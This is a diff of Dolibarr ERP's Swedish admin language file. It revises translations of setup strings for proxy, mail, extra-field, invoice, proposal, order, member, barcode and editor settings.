-ShowVATIntaInAddress=Dölj momsnummer inom gemenskapen -TranslationUncomplete=Partiell översättning -MAIN_DISABLE_METEO=Inaktivera meterologi +ShowVATIntaInAddress=Dölj momsnummer +TranslationUncomplete=Delvis översatt +MAIN_DISABLE_METEO=Inaktivera väderminiatyr MeteoStdMod=Standardläge MeteoStdModEnabled=Standardläge aktiverat MeteoPercentageMod=Procentläge -MeteoPercentageModEnabled=Procentuell läge aktiverad +MeteoPercentageModEnabled=Procentuellt läge aktiverat MeteoUseMod=Klicka för att använda %s -TestLoginToAPI=Testa logga in API -ProxyDesc=Vissa funktioner i Dolibarr kräver internetåtkomst. Definiera här internetanslutningsparametrarna, t.ex. tillgång via en proxyserver om det behövs. -ExternalAccess=Extern / Internetåtkomst -MAIN_PROXY_USE=Använd en proxyserver (annars är åtkomst direkt till internet) -MAIN_PROXY_HOST=Proxyserver: Namn / Adress +TestLoginToAPI=Testa inloggning API +ProxyDesc=Vissa funktioner kräver internetåtkomst. Ange eventuella extra inställningar, exempelvis proxyserver om det behövs, här. +ExternalAccess=Extern/internetåtkomst +MAIN_PROXY_USE=Använd en proxyserver (annars direktåtkomst till internet) +MAIN_PROXY_HOST=Proxyserver: Namn/Adress MAIN_PROXY_PORT=Proxyserver: Port -MAIN_PROXY_USER=Proxyserver: Logga in / Användare +MAIN_PROXY_USER=Proxyserver: Inloggning/Användare MAIN_PROXY_PASS=Proxyserver: Lösenord -DefineHereComplementaryAttributes=Definiera ytterligare / anpassade attribut som måste läggas till: %s -ExtraFields=Komplementära egenskaper +DefineHereComplementaryAttributes=Ange ytterligare/anpassade attribut som måste läggas till: %s +ExtraFields=Kompletterande attribut ExtraFieldsLines=Kompletterande attribut (rader) -ExtraFieldsLinesRec=Kompletterande attribut (mallar fakturor linjer) +ExtraFieldsLinesRec=Kompletterande attribut (mallar fakturarader) ExtraFieldsSupplierOrdersLines=Kompletterande attribut (orderrader) -ExtraFieldsSupplierInvoicesLines=Kompletterande attribut (faktura linjer) -ExtraFieldsThirdParties=Kompletterande attribut (tredje part) -ExtraFieldsContacts=Kompletterande attribut (kontakter / adress) -ExtraFieldsMember=Kompletterande attribut (medlem) -ExtraFieldsMemberType=Kompletterande attribut (ledamot typ) +ExtraFieldsSupplierInvoicesLines=Kompletterande attribut (fakturarader) +ExtraFieldsThirdParties=Kompletterande attribut (tredjepart) +ExtraFieldsContacts=Kompletterande attribut (kontakter/adress) +ExtraFieldsMember=Kompletterande attribut (medlemmar) +ExtraFieldsMemberType=Kompletterande attribut (medlemstyp) ExtraFieldsCustomerInvoices=Kompletterande attribut (fakturor) ExtraFieldsCustomerInvoicesRec=Kompletterande attribut (mallar fakturor) -ExtraFieldsSupplierOrders=Kompletterande attribut (beslut) +ExtraFieldsSupplierOrders=Kompletterande attribut (order) ExtraFieldsSupplierInvoices=Kompletterande attribut (fakturor) ExtraFieldsProject=Kompletterande attribut (projekt) -ExtraFieldsProjectTask=Kompletterande attribut (arbetsuppgifter) +ExtraFieldsProjectTask=Kompletterande attribut (uppgifter) ExtraFieldsSalaries=Kompletterande attribut (löner) -ExtraFieldHasWrongValue=Attribut% s har ett felaktigt värde. +ExtraFieldHasWrongValue=Attributet %s har ett felaktigt värde. AlphaNumOnlyLowerCharsAndNoSpace=endast gemena alfanumeriska tecken utan mellanslag -SendmailOptionNotComplete=Varning, på vissa Linux-system, för att skicka e-post från e-post, sendmail utförande inställning måste conatins Alternativ-ba (parameter mail.force_extra_parameters i din php.ini-fil). Om vissa mottagare inte emot e-post, försök att redigera den här PHP parameter med mail.force_extra_parameters =-BA). -PathToDocuments=Sökväg till handlingar -PathDirectory=Directory -SendmailOptionMayHurtBuggedMTA=Funktion att skicka mail med hjälp av metoden "PHP mail direct" kommer att generera ett mailmeddelande som kanske inte analyseras korrekt av vissa mottagande mailservrar. Resultatet är att vissa e-postmeddelanden inte kan läsas av personer som är värd för dessa bugged-plattformar. Detta är fallet för vissa Internetleverantörer (Ex: Orange i Frankrike). Detta är inte ett problem med Dolibarr eller PHP men med den mottagande postservern. Du kan dock lägga till ett alternativ MAIN_FIX_FOR_BUGGED_MTA till 1 i Setup - Other för att ändra Dolibarr för att undvika detta. Det kan dock uppstå problem med andra servrar som strikt använder SMTP-standarden. Den andra lösningen (rekommenderas) är att använda metoden "SMTP socket library" som inte har några nackdelar. -TranslationSetup=Uppställning av översättning -TranslationKeySearch=Sök en översättningstangent eller en sträng -TranslationOverwriteKey=Skriv över en översättningssträng -TranslationDesc=Så här ställer du in visningsspråket:
      * Standard / Systemwide: Meny Hem -> Inställning -> Display
      * Per användare: Klicka på användarnamnet högst upp på skärmen och ändra Användarskärmsinställning fliken på användaren kort. -TranslationOverwriteDesc=Du kan också åsidosätta strängar som fyller i följande tabell. Välj ditt språk från "%s" rullgardinsmenyn, sätt in translationsnyckelsträngen i "%s" och din nya översättning till "%s" -TranslationOverwriteDesc2=Du kan använda den andra fliken för att hjälpa dig veta vilken översättningsnyckel som ska användas +SendmailOptionNotComplete=Varning! På vissa Linux-system, för att skicka e-post från din e-postadress, behöver sendmails inställning innehålla alternativet -ba (parameter mail.force_extra_parameters i din php.ini). Om vissa mottagare inte får någon e-post, försök att redigera den här PHP-parameter- med mail.force_extra_parameters = -ba. +PathToDocuments=Sökväg till dokument +PathDirectory=Katalog +SendmailOptionMayHurtBuggedMTA=Funktion för att skicka mail med hjälp av metoden "PHP mail direct" kommer att generera ett e-postmeddelande som kanske inte analyseras korrekt av vissa mottagande mailservrar. Resultatet är att vissa e-postmeddelanden inte kan läsas av personer som har dessa som värd. Så är fallet för vissa Internetleverantörer (Ex: Orange i Frankrike). Detta är inte ett problem med Dolibarr eller PHP, utan med den mottagande e-postservern. Du kan dock lägga till alternativet MAIN_FIX_FOR_BUGGED_MTA = 1 i Inställningar - Annat för att undvika detta. Det kan dock uppstå problem med andra servers som strikt använder SMTP-standard. Den andra lösningen (rekommenderas) är att använda metoden "SMTP socket library" som inte har några nackdelar. +TranslationSetup=Uppsättning av översättning +TranslationKeySearch=Sök översättning eller sträng +TranslationOverwriteKey=Skriv över översättningssträng +TranslationDesc=Så här ställer du in visningsspråket:
      * Standard: Meny Start -> Inställningar -> Display
      * Per användare: Klicka på användarnamnet högst upp på skärmen och ändra Användarskärmsinställning fliken på användaren kort. +TranslationOverwriteDesc=Du kan också åsidosätta strängar som fyller följande tabell. Välj ditt språk från rullgardinsmenyn %s, ange översättningsnyckeln i "%s" och din nya översättning i "%s" +TranslationOverwriteDesc2=Du kan använda den andra fliken för att veta vilken översättningsnyckel som ska användas TranslationString=Översättningssträng CurrentTranslationString=Aktuell översättningsträng -WarningAtLeastKeyOrTranslationRequired=En sökkriterium krävs åtminstone för nyckel- eller översättningssträngen +WarningAtLeastKeyOrTranslationRequired=En sökkriterium krävs åtminstone för nyckel eller översättningssträng NewTranslationStringToShow=Ny översättningssträng att visa -OriginalValueWas=Den ursprungliga översättningen överskridits. Ursprungligt värde var:

      %s -TransKeyWithoutOriginalValue=Du tvingade en ny översättning till översättningsnyckeln ' %s ' som inte finns i några språkfiler +OriginalValueWas=Den ursprungliga översättningen har skrivits över. Ursprungligt värde var:

      %s +TransKeyWithoutOriginalValue=Du tvingade en ny översättning till översättningsnyckeln '%s' som inte finns i några språkfiler TitleNumberOfActivatedModules=Aktiverade moduler -TotalNumberOfActivatedModules=Aktiverade moduler: %s / %s -YouMustEnableOneModule=Minst 1 modul måste aktiveras -YouMustEnableTranslationOverwriteBefore=You must first enable translation overwriting to be allowed to replace a translation -ClassNotFoundIntoPathWarning=Klass %s hittades inte i PHP-sökvägen +TotalNumberOfActivatedModules=Aktiverade moduler: %s / %s +YouMustEnableOneModule=Minst en modul måste aktiveras +YouMustEnableTranslationOverwriteBefore=Du måste först tillåta överskrivning av översättningar för att kunna ändra en översättning +ClassNotFoundIntoPathWarning=Klassen %s hittades inte i PHP-sökvägen YesInSummer=Ja, under sommaren -OnlyFollowingModulesAreOpenedToExternalUsers=Observera att endast följande moduler är tillgängliga för externa användare (oberoende av behörigheterna för sådana användare) och endast om behörigheter beviljas:
      -SuhosinSessionEncrypt=Session lagring krypteras av Suhosin -ConditionIsCurrently=Condition är för närvarande% s +OnlyFollowingModulesAreOpenedToExternalUsers=Observera att endast följande moduler är tillgängliga för externa användare (oberoende av rättigheterna för sådana användare) och endast om rättigheter beviljats:
      +SuhosinSessionEncrypt=Sessionlagring krypteras av Suhosin +ConditionIsCurrently=Tillståndet är för närvarande %s YouUseBestDriver=Du använder drivrutinen %s vilket är den bästa drivrutinen som för närvarande finns tillgänglig. -YouDoNotUseBestDriver=Du använder drivrutinen %s men drivrutinen %s rekommenderas. +YouDoNotUseBestDriver=Du använder drivrutinen %s, men drivrutinen %s rekommenderas. NbOfObjectIsLowerThanNoPb=Du har bara %s %s i databasen. Detta kräver ingen speciell optimering. ComboListOptim=Optimering av kombinationslistans laddning SearchOptim=Sökoptimering -YouHaveXObjectUseComboOptim=Du har %s %s i databasen. Du kan gå in i installationen av modulen för att möjliggöra laddning av kombinationslistan vid tangenttryckt händelse. -YouHaveXObjectUseSearchOptim=Du har %s %s i databasen. Du kan lägga till konstanten %s till 1 i Home-Setup-Other. -YouHaveXObjectUseSearchOptimDesc=Detta begränsar sökningar till början av rader för att förenkla databasens användning av indexering, vilket resulterar i snabbare respons. -YouHaveXObjectAndSearchOptimOn=Du har %s %s i databasen och konstant %s är inställd på %s i Home-Setup-Other. -BrowserIsOK=Du använder %s webbläsaren. Den här webbläsaren är ok för säkerhet och prestanda. -BrowserIsKO=Du använder %s webbläsaren. Den här webbläsaren är känd för att vara ett dåligt val för säkerhet, prestanda och tillförlitlighet. Vi rekommenderar att du använder Firefox, Chrome, Opera eller Safari. +YouHaveXObjectUseComboOptim=Du har %s %s i databasen. Du kan gå in i inställningen för modulen för att möjliggöra laddning av kombinationslistan vid tangenttryckning. +YouHaveXObjectUseSearchOptim=Du har %s %s i databasen. Du kan lägga till konstanten %s till 1 i Star - Inställningar - Annat. +YouHaveXObjectUseSearchOptimDesc=Detta begränsar sökningar till början av strängar för att förenkla databasens användning av indexering, vilket resulterar i snabbare respons. +YouHaveXObjectAndSearchOptimOn=Du har %s %s i databasen och konstanten %s är inställd på %s i Start - Inställningar - Annat. +BrowserIsOK=Du använder webbläsaren %s. Den här webbläsaren är ok sett till säkerhet och prestanda. +BrowserIsKO=Du använder webbläsaren %s. Den här webbläsaren är känd för att ha risker när det gäller säkerhet, prestanda och tillförlitlighet. Vi rekommenderar att du använder Firefox, Chrome, Opera eller Safari. PHPModuleLoaded=PHP-komponenten %s är laddad PreloadOPCode=Förinstallerad OPCode används -AddRefInList=Display Customer/Vendor ref. into combo lists.
      Third Parties will appear with a name format of "CC12345 - SC45678 - The Big Company corp." instead of "The Big Company corp". -AddVatInList=Display Customer/Vendor VAT number into combo lists. -AddAdressInList=Display Customer/Vendor adress into combo lists.
      Third Parties will appear with a name format of "The Big Company corp. - 21 jump street 123456 Big town - USA" instead of "The Big Company corp". -AddEmailPhoneTownInContactList=Visa kontakt-e-post (eller telefoner om det inte är definierat) och stadsinfo-lista (välj lista eller kombinationsruta)
      Kontakter visas med namnformatet "Dupond Durand - dupond.durand@email.com - Paris" eller "Dupond Durand - 06 07 59 65 66 - Paris "istället för" Dupond Durand ". -AskForPreferredShippingMethod=Be om föredragen leveransmetod för tredje parter. -FieldEdition=Edition av fält %s -FillThisOnlyIfRequired=Exempel: +2 (fyll endast om tidszon offset problem är erfarna) +AddRefInList=Visa kunds/leverantörs referens i kombolistor
      Tredjeparter kommer synas med format "CC12345 - SC45678 - StorFöretaget." istället för bara "StorFöretaget" +AddVatInList=Visa kunds/leverantörs momsnummer i kombolistor +AddAdressInList=Visa kunds/leverantörs adress i kombolistor
      Tredjeparter kommer synas som "StorFöretaget - Storgatan 1 123 45 Stad - Sverige" istället för "StorFöretaget" +AddEmailPhoneTownInContactList=Visa kontakts e-postadress (eller telefonnummer om e-post inte är angivet) och stad i infolista (välj lista eller kombinationsruta)
      Kontakter visas med namnformatet "Kalle Anka - kalle.anka@ankeborg.se - Ankeborg" eller "Kalle Anka - 012-345 678 - Angeborg" istället för "Kalle Anka". +AskForPreferredShippingMethod=Be om det föredragna leveranssättet för tredjeparter. +FieldEdition=Ändring av fält %s +FillThisOnlyIfRequired=Exempel: +2 (ange endast om problem med tidszon offset upplevs) GetBarCode=Få streckkod NumberingModules=Numreringsmodeller DocumentModules=Dokumentmodeller ##### Module password generation -PasswordGenerationStandard=Returnera ett lösenord som genererats enligt intern Dolibarr-algoritm: %s tecken som innehåller delade nummer och tecken i gemener. +PasswordGenerationStandard=Ger ett lösenord genererat efter den interna algoritmen: %s tecken som innehåller både siffror och tecken. PasswordGenerationNone=Föreslå inte ett genererat lösenord. Lösenordet måste skrivas in manuellt. -PasswordGenerationPerso=Returnera ett lösenord enligt din personligt definierade konfiguration. +PasswordGenerationPerso=Ge ett lösenord enligt din personligt angivna konfiguration. SetupPerso=Enligt din konfiguration -PasswordPatternDesc=Lösenordsmönsterbeskrivning +PasswordPatternDesc=Beskrivning av lösenordsmönster ##### Users setup ##### -RuleForGeneratedPasswords=Regler för att generera och bekräfta lösenord +RuleForGeneratedPasswords=Regler för att skapa och bekräfta lösenord DisableForgetPasswordLinkOnLogonPage=Visa inte länken "Glömt lösenord" på sidan Inloggning -UsersSetup=Användare modul inställning -UserMailRequired=E-post krävs för att skapa en ny användare +UsersSetup=Inställningar för modulen Användare +UserMailRequired=E-postadress krävs för att skapa en ny användare UserHideInactive=Dölj inaktiva användare från alla kombinationslistor över användare (rekommenderas inte: detta kan innebära att du inte kan filtrera eller söka efter gamla användare på vissa sidor) UsersDocModules=Dokumentmallar för dokument som genereras från användarposten -GroupsDocModules=Dokumentmallar för dokument som genereras från en grupppost +GroupsDocModules=Dokumentmallar för dokument som genereras från en gruppost ##### HRM setup ##### HRMSetup=Inställning av HRM-modulen ##### Company setup ##### -CompanySetup=Företag modul inställning -CompanyCodeChecker=Alternativ för automatisk generering av kund / leverantörskoder -AccountCodeManager=Alternativ för automatisk generering av kund / leverantörsräkningskod -NotificationsDesc=E-postmeddelanden kan skickas automatiskt för vissa Dolibarr-evenemang.
      Mottagare av anmälningar kan definieras: +CompanySetup=Inställning av modulen Företag +CompanyCodeChecker=Alternativ för automatisk generering av kundnummer/leverantörsnummer +AccountCodeManager=Alternativ för automatisk generering av bokföringskod för kund/leverantör +NotificationsDesc=E-postmeddelanden kan skickas automatiskt för vissa evenemang.
      Mottagare av notiser kan anges: NotificationsDescUser=* per användare, en användare i taget. -NotificationsDescContact=* per tredjepartskontakter (kunder eller leverantörer), en kontakt i taget. -NotificationsDescGlobal=* or by setting global email addresses in the setup page of the module. +NotificationsDescContact=* per tredjepartskontakter (kund eller leverantör), en kontakt i taget. +NotificationsDescGlobal=* eller genom att sätta en global e-postadress under inställningar för modulen ModelModules=Dokumentmallar -DocumentModelOdt=Generera dokument från OpenDocument-mallar (.ODT / .ODS-filer från LibreOffice, OpenOffice, KOffice, TextEdit, ...) -WatermarkOnDraft=Vattenstämpel utkast -JSOnPaimentBill=Aktivera funktionen för att fylla automatiskt betalningslinjer på inbetalningskort -CompanyIdProfChecker=Regler för professionella id +DocumentModelOdt=Generera dokument från OpenDocument-mallar (.ODT/.ODS-filer från LibreOffice, OpenOffice, KOffice, TextEdit, ...) +WatermarkOnDraft=Vattenstämpel på dokumentutkast +JSOnPaimentBill=Aktivera funktionen för att automatiskt fylla betalrader på inbetalningskort +CompanyIdProfChecker=Regler för professionell id MustBeUnique=Måste vara unik? MustBeMandatory=Obligatoriskt att skapa tredje part (om momsnummer eller typ av företag definieras)? MustBeInvoiceMandatory=Obligatoriskt att bekräfta fakturor? TechnicalServicesProvided=Tekniska tjänster tillhandahålls #####DAV ##### -WebDAVSetupDesc=Det här är länken för åtkomst till WebDAV-katalogen. Den innehåller en "allmän" dir öppen för alla användare som känner till webbadressen (om offentlig katalogåtkomst tillåts) och en "privat" katalog som behöver ett befintligt inloggningskonto / lösenord för åtkomst. -WebDavServer=Root-URL för %s-servern: %s +WebDAVSetupDesc=Det här är länken för åtkomst till WebDAV-katalogen. Den innehåller en "allmän" katalog öppen för alla användare som känner till webbadressen (om offentlig katalogåtkomst tillåts) och en "privat" katalog som behöver ett befintligt inloggningskonto/lösenord för åtkomst. +WebDavServer=Root-URL för %s-servern:%s ##### Webcal setup ##### -WebCalUrlForVCalExport=En export länk till %s format finns på följande länk: %s +WebCalUrlForVCalExport=En exportlänk till %s format finns på följande länk: %s ##### Invoices ##### -BillsSetup=Fakturor modul inställning -BillsNumberingModule=Fakturor och kreditnotor numrering modul -BillsPDFModules=Faktura dokument modeller +BillsSetup=Fakturor modulinställning +BillsNumberingModule=Numreringsmodell för fakturor och kreditfakturor +BillsPDFModules=Faktura dokumentmodeller BillsPDFModulesAccordindToInvoiceType=Faktura dokumentmodeller enligt fakturatyp -PaymentsPDFModules=Betalningsdokumentmodeller -ForceInvoiceDate=Force fakturadatum till giltighetsdatum -SuggestedPaymentModesIfNotDefinedInInvoice=Föreslaget betalningsläge på faktura som standard om det inte definieras på fakturan +PaymentsPDFModules=Faktura dokumentmodeller +ForceInvoiceDate=Tvinga fakturadatum till giltighetsdatum +SuggestedPaymentModesIfNotDefinedInInvoice=Föreslaget betalningsläge på faktura som standard om det inte anges på fakturan SuggestPaymentByRIBOnAccount=Föreslå betalning genom uttag på konto SuggestPaymentByChequeToAddress=Föreslå betalning med check till -FreeLegalTextOnInvoices=Fri text på fakturor -WatermarkOnDraftInvoices=Vattenstämpel på utkast till fakturor (ingen om tom) -PaymentsNumberingModule=Betalningsnummereringsmodell +FreeLegalTextOnInvoices=Fritext på fakturor +WatermarkOnDraftInvoices=Vattenstämpel på fakturautkast (tomt om ingen) +PaymentsNumberingModule=Numreringsmodell för betalningar SuppliersPayment=Leverantörsbetalningar SupplierPaymentSetup=Inställningar för leverantörsbetalningar -InvoiceCheckPosteriorDate=Check facture date before validation -InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceCheckPosteriorDate=Kontrollera fakturadatum före godkännande +InvoiceCheckPosteriorDateHelp=Godkännande av fakturan är förbjudet om datumet är tidigare än senaste fakturan av samma typ +InvoiceOptionCategoryOfOperations=Visa "verksamhetskategori" på fakturan. +InvoiceOptionCategoryOfOperationsHelp=Beroende på situationen kommer omnämnandet att visas i formen:
      - Verksamhetskategori: Leverans av varor
      - Verksamhetskategori: Tillhandahållande av tjänster
      - Verksamhetskategori: Blandat och tillhandahållande av tjänster +InvoiceOptionCategoryOfOperationsYes1=Ja, under adressblocket +InvoiceOptionCategoryOfOperationsYes2=Ja, i nedre vänstra hörnet ##### Proposals ##### -PropalSetup=Kommersiella förslag modul inställning -ProposalsNumberingModules=Kommersiella förslag numrering moduler -ProposalsPDFModules=Kommersiella förslag dokument modeller -SuggestedPaymentModesIfNotDefinedInProposal=Föreslaget betalningsläge på förslag som standard om det inte definieras i förslaget -FreeLegalTextOnProposal=Fri text på affärsförslag -WatermarkOnDraftProposal=Vattenstämpel på utkast till affärsförslag (ingen om tom) -BANK_ASK_PAYMENT_BANK_DURING_PROPOSAL=Be om bankkonto destination förslag +PropalSetup=Modulinställning för offerter +ProposalsNumberingModules=Numreringsmodell för offerter +ProposalsPDFModules=Dokumentmodeller för offerter +SuggestedPaymentModesIfNotDefinedInProposal=Föreslaget betalsätt för offerter som standard om det inte anges i offerten +FreeLegalTextOnProposal=Fritext i offerter +WatermarkOnDraftProposal=Vattenstämpel på offertutkast (tom om ingen) +BANK_ASK_PAYMENT_BANK_DURING_PROPOSAL=Fråga efter mottagande bankkonto på offert ##### SupplierProposal ##### -SupplierProposalSetup=Pris begär leverantörer modul konfiguration -SupplierProposalNumberingModules=Pris förfrågningar leverantörer numrerings modeller -SupplierProposalPDFModules=Pris begär leverantörer dokument modeller -FreeLegalTextOnSupplierProposal=Fritext på förfrågningar pris leverantörer -WatermarkOnDraftSupplierProposal=Vattenstämpel om förslaget pris begär leverantörer (ingen om tom) -BANK_ASK_PAYMENT_BANK_DURING_SUPPLIER_PROPOSAL=Fråga efter bankkonto destination pris begäran -WAREHOUSE_ASK_WAREHOUSE_DURING_ORDER=Be om lagerkälla för order +SupplierProposalSetup=Modulinställning prisförfrågan leverantör +SupplierProposalNumberingModules=Numreringsmodell för prisförfrågan hos leverantör +SupplierProposalPDFModules=Dokumentmodeller för prisförfrågan hos leverantörer +FreeLegalTextOnSupplierProposal=Fritext på prisförfrågan hos leverantörer +WatermarkOnDraftSupplierProposal=Vattenstämpel på utkast till prisförfrågan hos leverantör (tom om ingen) +BANK_ASK_PAYMENT_BANK_DURING_SUPPLIER_PROPOSAL=Fråga efter mottagande bankkonto för prisförfrågan hos leverantör +WAREHOUSE_ASK_WAREHOUSE_DURING_ORDER=Fråga efter lager vid order ##### Suppliers Orders ##### -BANK_ASK_PAYMENT_BANK_DURING_SUPPLIER_ORDER=Be om kontokortdestination för inköpsorder +BANK_ASK_PAYMENT_BANK_DURING_SUPPLIER_ORDER=Fråga efter mottagande bankkonto vid inköpsorder ##### Orders ##### -SuggestedPaymentModesIfNotDefinedInOrder=Suggested payments mode on sales order by default if not defined on the order -OrdersSetup=Försäljningsorderhanteringsinställningar -OrdersNumberingModules=Beställningar numrering moduler -OrdersModelModule=Beställ dokument modeller -FreeLegalTextOnOrders=Fri text på order -WatermarkOnDraftOrders=Vattenstämpel på utkast till beställningar (ingen om tom) +SuggestedPaymentModesIfNotDefinedInOrder=Föreslaget betalsätt på försäljningsorder som standard och om inte angivet i ordererkännandet +OrdersSetup=Inställningar för försäljningsorder +OrdersNumberingModules=Modulnumrering för ordererkännande +OrdersModelModule=Dokumentmodeller för försäljningsorder +FreeLegalTextOnOrders=Fritext på ordererkännanden +WatermarkOnDraftOrders=Vattenstämpel på utkast till ordererkännande (tom om ingen) ShippableOrderIconInList=Lägg en ikon i Order lista som anger om beställningen är shippable BANK_ASK_PAYMENT_BANK_DURING_ORDER=Fråga om målbankkonto för order ##### Interventions ##### @@ -1468,20 +1491,21 @@ FicheinterNumberingModules=Intervention numrering moduler TemplatePDFInterventions=Intervention kort dokument modeller WatermarkOnDraftInterventionCards=Vattenstämpel på åtgärdskort dokument (ingen om tom) ##### Contracts ##### -ContractsSetup=Avtal / Prenumerationer modul installation +ContractsSetup=Avtal / Abonnemanger modul installation ContractsNumberingModules=Kontrakt numrering moduler TemplatePDFContracts=Contract documents modeller FreeLegalTextOnContracts=Fritext om avtal -WatermarkOnDraftContractCards=Vattenstämpel på kontraktsförslag (inget om de är tomma) +WatermarkOnDraftContractCards=Vattenstämpel på kontraktsförslag (inget om fältet är tomt) ##### Members ##### MembersSetup=Medlemmar modul inställning MemberMainOptions=Huvudalternativ +MemberCodeChecker=Alternativ för automatisk generation av medlemskoder AdherentLoginRequired= Hantera en inloggning för varje medlem AdherentMailRequired=E-post krävs för att skapa en ny medlem MemberSendInformationByMailByDefault=Kryssruta för att skicka e-post bekräftelse till medlemmar (bekräftande eller nya abonnemang) är aktiverat som standard -MemberCreateAnExternalUserForSubscriptionValidated=Skapa en extern användarinloggning för varje validerad ny medlemsprenumeration -VisitorCanChooseItsPaymentMode=Besökare kan välja mellan tillgängliga betalningssätt -MEMBER_REMINDER_EMAIL=Aktivera automatisk påminnelse via e-post av utgått prenumerationer. Obs! Modul %s måste vara aktiverad och korrekt inställd för att skicka påminnelser. +MemberCreateAnExternalUserForSubscriptionValidated=Skapa en extern användarinloggning för varje validerad ny medlemsabonnemang +VisitorCanChooseItsPaymentMode=Besökare kan välja mellan alla tillgängliga betalningssätt +MEMBER_REMINDER_EMAIL=Aktivera automatisk påminnelse via e-post av utgånget abonnemang. Obs! Modul %s måste vara aktiverad och korrekt inställd för att skicka påminnelser. MembersDocModules=Dokumentmallar för dokument som genereras från medlemsposten ##### LDAP setup ##### LDAPSetup=LDAP-inställningar @@ -1688,21 +1712,21 @@ ConfigureCleaningCronjobToSetFrequencyOfSaves=Konfigurera rengöring schemalagt DonationsSetup=Donation modul inställning DonationsReceiptModel=Mall för donation kvitto ##### Barcode ##### -BarcodeSetup=Barcode inställning +BarcodeSetup=Streckkodsinställning PaperFormatModule=Skriv format modul -BarcodeEncodeModule=Barcode kodningstypen -CodeBarGenerator=Barcode generator +BarcodeEncodeModule=Streckkod kodningstyp +CodeBarGenerator=Streckkodsgenerator ChooseABarCode=Ingen generator definierade FormatNotSupportedByGenerator=Format not supported by this generator -BarcodeDescEAN8=Barcode av typ EAN8 -BarcodeDescEAN13=Barcode av typ EAN13 -BarcodeDescUPC=Barcode av typ UPC -BarcodeDescISBN=Barcode av typ ISBN +BarcodeDescEAN8=Streckkod av typ EAN8 +BarcodeDescEAN13=Streckkod av typ EAN13 +BarcodeDescUPC=Streckkod av typ UPC +BarcodeDescISBN=Streckkod av typ ISBN BarcodeDescC39=Streckkod av typen C39 -BarcodeDescC128=Barcode av typ C128 -BarcodeDescDATAMATRIX=Barcode av typen Datamatrix -BarcodeDescQRCODE=Barcode typ QR-kod -GenbarcodeLocation=Bar kodgenerering kommandoradsverktyg (som används av intern motor för vissa streckkodstyper). Måste vara kompatibel med "genbarcode".
      Till exempel: / usr / local / bin / genbarcode +BarcodeDescC128=Streckkod av typ C128 +BarcodeDescDATAMATRIX=Streckkod av typen Datamatrix +BarcodeDescQRCODE=Streckkod typ QR-kod +GenbarcodeLocation=Bar kodgenerering kommandoradsverktyg (som används av intern motor för vissa streckkodstyper). Måste vara kompatibel med "genbarcode".
      Till exempel: /usr/local/bin/genbarcode BarcodeInternalEngine=Intern motor BarCodeNumberManager=Manager för att automatiskt definiera streckkodsnummer ##### Prelevements ##### @@ -1721,9 +1745,9 @@ MailingDelay=Sekunder fördröjning efter sändning av nästa meddelande NotificationSetup=Anmälan för e-postmeddelandemodul NotificationEMailFrom=Sender-e-post (Från) för e-postmeddelanden som skickas av Notifieringsmodulen FixedEmailTarget=Mottagare -NotificationDisableConfirmMessageContact=Hide the list of recipients (subscribed as contact) of notifications into the confirmation message -NotificationDisableConfirmMessageUser=Hide the list of recipients (subscribed as user) of notifications into the confirmation message -NotificationDisableConfirmMessageFix=Hide the list of recipients (subscribed as global email) of notifications into the confirmation message +NotificationDisableConfirmMessageContact=Dölj listan över mottagare (kontakter) för notiser i bekräftelsemeddelandet +NotificationDisableConfirmMessageUser=Dölj listan över mottagare (användare) för notiser i bekräftelsemeddelandet +NotificationDisableConfirmMessageFix=Dölj listan över mottagare (global e-postadress) för notiser i bekräftelsemeddelandet ##### Sendings ##### SendingsSetup=Inmatning av fraktmodul SendingsReceiptModel=Att skicka kvitto modell @@ -1739,15 +1763,15 @@ FreeLegalTextOnDeliveryReceipts=Fri text om leverans kvitton ##### FCKeditor ##### AdvancedEditor=Avancerad redaktör ActivateFCKeditor=Aktivera FCKeditor för: -FCKeditorForNotePublic=WYSIWIG creation/edition of the field "public notes" of elements -FCKeditorForNotePrivate=WYSIWIG creation/edition of the field "private notes" of elements -FCKeditorForCompany=WYSIWIG creation/edition of the field description of elements (except products/services) -FCKeditorForProduct=WYSIWIG creation/edition of the field description of products/services -FCKeditorForProductDetails=WYSIWIG skapande / utgåva av produktdetaljer för alla enheter (förslag, order, fakturor, etc ...). Varning: Att använda det här alternativet i det här fallet rekommenderas på allvar inte eftersom det kan skapa problem med specialtecken och sidformatering när du bygger PDF-filer. +FCKeditorForNotePublic=WYSIWIG skapade/ändring i fältet "publika noteringar" +FCKeditorForNotePrivate=WYSIWIG skapade/ändring i fältet "privata noteringar" +FCKeditorForCompany=WYSIWIG skapande/änrande i fältet "beskrivning" (förutom produkter/tjänster) +FCKeditorForProductDetails=WYSIWIG skapande/utgåva av produktbeskrivning eller rader för objekt (rader av förslag, order, fakturor, etc...). +FCKeditorForProductDetails2=Varning: Att använda det här alternativet för det här fallet rekommenderas verkligen inte eftersom det kan skapa problem med specialtecken och sidformatering när du bygger PDF-filer. FCKeditorForMailing= WYSIWYG skapande / utgåva av försändelser FCKeditorForUserSignature=WYSIWYG skapande / upplaga av signatur FCKeditorForMail=WYSIWIG skapande / utgåva för all mail (utom Verktygs-> eMailing) -FCKeditorForTicket=WYSIWIG skapande / upplaga för biljetter +FCKeditorForTicket=WYSIWIG skapande / upplaga för ärenden ##### Stock ##### StockSetup=Inställning av lagermodul IfYouUsePointOfSaleCheckModule=Om du använder modulen Point of Sale (POS) som standard eller en extern modul, kan denna inställning ignoreras av din POS-modul. De flesta POS-moduler är utformade som standard för att skapa en faktura omedelbart och minska lageret oberoende av alternativen här. Så om du behöver eller inte har en lagerminskning när du registrerar en försäljning från din POS, kolla även din POS-moduluppsättning. @@ -1766,7 +1790,7 @@ DetailMenuHandler=Meny hanterare där för att visa nya menyn DetailMenuModule=Modulnamn om menyalternativet kommer från en modul DetailType=Typ av menyn (överst eller vänster) DetailTitre=Meny etikett eller etikett kod för översättning -DetailUrl=URL där menyn skicka (Absoluta URL-länk eller extern länk med http://) +DetailUrl=URL dit menyn skickar dig (Relativ URL-länk eller extern länk med https://) DetailEnabled=Villkor för att visa eller inte trätt DetailRight=Villkor för att visa obehörig grå menyer DetailLangs=Lang filnamn för märkningen kodnyckel @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Använd händelsetyper (hanteras i menyn Inställningar -> AGENDA_USE_EVENT_TYPE_DEFAULT=Ställ in det här standardvärdet för typ av händelse automatiskt i händelse skapa formulär AGENDA_DEFAULT_FILTER_TYPE=Ställ in denna typ av händelse automatiskt i sökfiltret i kalendervy AGENDA_DEFAULT_FILTER_STATUS=Ställ in denna status automatiskt för händelser i sökfilter i dagordning 